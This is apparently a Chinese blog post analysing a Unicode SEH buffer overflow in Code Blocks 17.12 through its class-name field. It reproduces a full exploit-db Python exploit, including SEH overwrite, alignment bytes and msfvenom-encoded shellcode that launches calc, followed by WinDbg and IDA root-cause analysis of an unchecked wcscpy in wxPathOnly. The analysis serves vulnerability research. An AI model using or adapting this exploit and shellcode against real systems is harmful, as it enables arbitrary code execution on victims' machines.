近期在逛exploit-db时发现Code Blocks 17.12存在溢出，所以顺手就分析了一下。这个洞比较特别，是基于unicode数据格式的溢出，不多见。
环境
环境准备
codeblocks下载：https://www.exploit-db.com/apps/00de2366edbc44fa0006765896aa1718-codeblocks-17.12-setup.exe
windows 7 x86 sp1
Windows Debugger Version 6.11.0001.404 X86
explit-db提供的exp
#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Code Blocks 17.12 - Local Buffer Overflow (SEH)(Unicode)
# Date: 01-10-2019
# Vulnerable Software: Code Blocks 17.12
# Vendor Homepage: http://www.codeblocks.org/
# Version: 17.12
# Software Link:
# http://sourceforge.net/projects/codeblocks/files/Binaries/17.12/Windows/codeblocks-17.12-setup.exe
# Tested Windows 7 SP1 x86
#
#
# PoC
# 1. generate codeblocks.txt, copy contents to clipboard
# 2. open cold blocks app
# 3. select File, New, Class
# 4. paste contents from clipboard into Class name
# 5. select Create
# 6. pop calc
#
filename = "codeblocks.txt"
junk = "A"*1982
nseh = "x61x62"
#0x005000e0 pop edi # pop ebp # ret | startnull,unicode {PAGE_EXECUTE_READ} [codeblocks.exe]
seh = "xe0x50"
nops = "x47"*10
valign = (
"x53" #push ebx
"x47" #align
"x58" #pop eax
"x47" #align
"x47" #align
"x05x28x11" #add eax
"x47" #align
"x2dx13x11" #sub eax
"x47" #align
"x50" #push eax
"x47" #align
"xc3" #retn
)
nops_sled = "x47"*28
#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
#Payload size: 517 bytes
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1A"
"IQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXDBM0KPKP1PU9ZE01I0RD4KPPP0DK0RLL4KB2MD4KRRN"
"HLO6WOZNFP1KOFLOLC13LKRNLMPI18OLMM17W9RKBB21GTKPRLPDKPJOL4K0LN1RXZCPHKQZ1PQ4K29O0KQXS4KOY"
"N8YSOJOYDKNT4KKQXV01KOFLY18OLMM1GWOH9PSEKFM3SMZXOKSMNDT5ITPXDKPXMTKQ8SC6TKLL0KTKPXMLM1YCD"
"KLDTKM1J0SYOTMTMTQKQKS10YQJB1KOIPQO1OQJ4KMBZK4MQM2JKQ4MTEX2KPKPKPPP2HP1TKBOTGKOZ5GKJP6UVB"
"0V2HW65EGM5MKO8UOLLFSLLJU0KKIPRUKUWK0GMCCBRORJKPB3KOIE2CC1RLQSNNQU2X35M0AA")
fill = "D"*10000
buffer = junk + nseh + seh + nops + valign + nops_sled + calc + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
漏洞分析
直接利用exp执行
可以看到调用栈已经被破坏，但是exp并没有用，可能是因为环境的原因。接下来具体分析造成溢出的原因
在函数wxmsw28u_gcc_cb!Z10wxPathOnlyRK8wxString中发生了溢出，看看wxPathOnly到底干了什么
const wxString *__cdecl wxPathOnly(const wxString *a1, const wchar_t **a2)
{
wxStringBase *v2; // eax
const wchar_t *v4; // ecx
int v5; // eax
wchar_t v6; // dx
wchar_t v7; // dx
unsigned int v8; // [esp+Ch] [ebp-810h]
wchar_t v9; // [esp+10h] [ebp-80Ch]
__int16 v10; // [esp+12h] [ebp-80Ah]
__int16 v11; // [esp+14h] [ebp-808h]
__int16 v12; // [esp+16h] [ebp-806h]
if ( *((_DWORD *)*a2 - 2) )
{
wcscpy(&v9, *a2); <=== 关注
v4 = *a2;
v5 = *((_DWORD *)*a2 - 2) - 1;
if ( v5 >= 0 )
{
v6 = v4[v5]; <=== 出错位置
if ( v6 == '\' || v6 == '/' )
{
LABEL_11:
if ( !v5 )
v5 = 1;
*(&v9 + v5) = 0;
goto LABEL_14;
}
while ( --v5 != -1 )
{
v7 = v4[v5];
if ( v7 == '/' || v7 == '\' )
goto LABEL_11;
}
}
if ( !iswctype(v9, 0x103u) || v10 != 58 )
goto LABEL_2;
v11 = 46;
v12 = 0;
LABEL_14:
wxStringBase::InitWith((wxStringBase *)&v9, 0, *(unsigned int *)&wxStringBase::npos, v8);
return a1;
}
LABEL_2:
v2 = (wxStringBase *)wxEmptyString;
if ( !wxEmptyString )
v2 = (wxStringBase *)&unk_6D18CE6C;
wxStringBase::InitWith(v2, 0, *(unsigned int *)&wxStringBase::npos, v8);
return a1;
}
根据伪码可以发现，如果a2指向的数据长度不受控制，那么执行wcscpy(&v9, *a2)，将有可能改变调用栈，大概是这样的
+-------+
| a2 | 覆盖
+-------+
| a1 | 覆盖
+-------+
| ret | 覆盖
+-------+
| ebp | 覆盖
+-------+
| local |
+-------+
如果覆盖了a2的值，那么访问a2的语句将会出错，从而造成崩溃
v6 = v4[v5];
跟踪一下a2的形成
0:000> g
Breakpoint 0 hit
eax=0022df58 ebx=0022e044 ecx=7ffdf000 edx=0022e044 esi=0022e00c edi=7cbca570
eip=6cc66dd0 esp=0022dedc ebp=0022dfb8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
wxmsw28u_gcc_cb!Z10wxPathOnlyRK8wxString:
6cc66dd0 57 push edi
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0022dfb8 6af05d5e wxmsw28u_gcc_cb!Z10wxPathOnlyRK8wxString
0022e088 6af09134 classwizard+0x5d5e
0022e178 6cc41272 classwizard+0x9134
0022e188 6d0f845a wxmsw28u_gcc_cb!ZNK12wxAppConsole11HandleEventEP12wxEvtHandlerMS0_FvR7wxEventES3_+0x22
0022e198 6ccdf374 wxmsw28u_gcc_cb!ZNK13wxXmlDocument4SaveERK8wxStringi+0x8e8aa
00000000 00000000 wxmsw28u_gcc_cb!ZN12wxEvtHandler21ProcessEventIfMatchesERK21wxEventTableEntryBasePS_R7wxEvent+0x64
跟踪classwizard+0x5d5e，其在函数classwizard!sub_6AF05C00函数中
来看一下函数ZN13EditorManager3NewERK8wxString
这里ida在显示伪码时，有错误，其实a3应该为a2，为了方便查看，对应的伪码为
// 函数应该只有两个参数，一个ecx，另一个通过改变[esp]传递
// ZN13EditorManager3NewERK8wxString(a1@ecx, wxString *a2)
_DWORD *__fastcall ZN13EditorManager3NewERK8wxString(int a1, int a2, signed int *a3)
{
...
v45 = a1;
v49 = sub_61B89C40;
v50 = dword_61CCF500;
v52 = sub_6186D465;
v51 = &v68;
v53 = &v37;
sub_61BAE7E0(&v47);
if ( *(_DWORD *)(*a3 - 8) )
{
v48 = -1;
if ( !(unsigned __int8)Z12wxFileExistsRK8wxString(a3) )
{
v44 = &v58;
Z10wxPathOnlyRK8wxString(&v58, a3); // 这里其实是a2
...
}
方便理解，画图如下
+------+
| esp | <= ebp+8 传递的参数a2(a1为ecx)
+------|
| ret |
+------+
| ebp |
+------+
整体的调用栈执行流程
sub_6AF05C00
|-> ZN13EditorManager3NewERK8wxString
|-> Z10wxPathOnlyRK8wxString
在sub_6AF05C00中，参数传递
.text:6AF05D50 lea ebx, [ebp+v404_wxString]
.text:6AF05D53 mov ecx, eax ; _DWORD
.text:6AF05D55 mov [esp], ebx ; 传入参数
.text:6AF05D58 call ds:_ZN13EditorManager3NewERK8wxString ; 其调用wxPathOnly
其实ebx传递的是一个wxString类型的数据，具体通过windbg查看一下
可以看到其值是指向构建类头文件的文件路径，其中ebx又在_ZN13EditorManager3NewERK8wxString中直接传给了wxPathOnly
.text:6186D39E mov edx, [ebp+a2] <= 传递
.text:6186D3A1 lea eax, [ebp+var_60]
.text:6186D3A4 mov [ebp+var_B8], eax
.text:6186D3AA mov [esp], eax
.text:6186D3AD mov [esp+4], edx <= 转化为参数
.text:6186D3B1 call ds:_Z10wxPathOnlyRK8wxString
在windbg查看一下
结合前面对wxPathOnly的分析，如果对类名没有检测，那么wxPathOnly就会造成溢出，并且通过类名溢出可以直接控制EIP，从而造成命令执行。
至此通过逆向分析，我们捋清了整个导致溢出的过程。
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